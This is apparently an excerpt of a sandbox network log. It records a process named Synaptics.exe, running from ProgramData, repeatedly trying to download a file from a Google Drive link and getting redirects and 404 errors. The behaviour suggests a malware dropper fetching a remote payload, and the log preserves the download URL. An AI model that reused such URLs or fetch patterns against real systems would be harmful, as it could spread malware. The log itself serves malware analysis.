Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	49896	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:37 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JsSCXhJVIqR-GHBwMXfswg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	49902	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:38 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:38 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:38 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-WOSjlObDPn6weR2GmiSFwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPb_UqF0rWEYR2Sf0r0J_Jc3FysrRGnShNn1lo7vsHksvyxMMXeaQh9h65IAh1x8obJD-0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:38 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:38 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 6b 65 30 55 5f 62 6f 32 36 30 31 58 55 34 76 6c 75 2d 64 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="oke0U_bo2601XU4vlu-dzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:38 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	49900	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:38 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-F36NnflPAguWPpixW_yVdA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	49901	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:38 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-N3GOIoOUTQONWfgAX6CYKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	49903	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:38 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:38 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:38 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-St4D0SImvTOfCbO_hFisYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNZh_OIuI8lqNqGkbNuhIFXNuPrY39_52naD-JiBndOlgTkGF9Q_kWC8llKrm2dky-X31M Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:38 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:38 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 5f 35 48 68 45 45 43 34 39 6b 34 68 52 51 4f 68 6d 50 42 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="R_5HhEEC49k4hRQOhmPBVg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:38 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	49910	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:40 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-QgzSKdF3vY2EpKrcT3eHqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	49909	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:40 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-5KOV920_Dv9FbXWauSZqHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	49914	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MSALXJmqcuYJJaqe7Qf3Sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	49916	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:41 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-po5bvZySLd8bjo4_7V-wxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49913	142.250.186.129	443

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:41 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:42 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:41 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-j7HWG1UxDCwMunsGfRJVow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMm_QHArIhtIC9uy7sG70jKKVSFGWTTzWzug5lTL2Od4S9EwayuhW6NuC7W60NG9PRtHQT5cUFDmg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:42 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
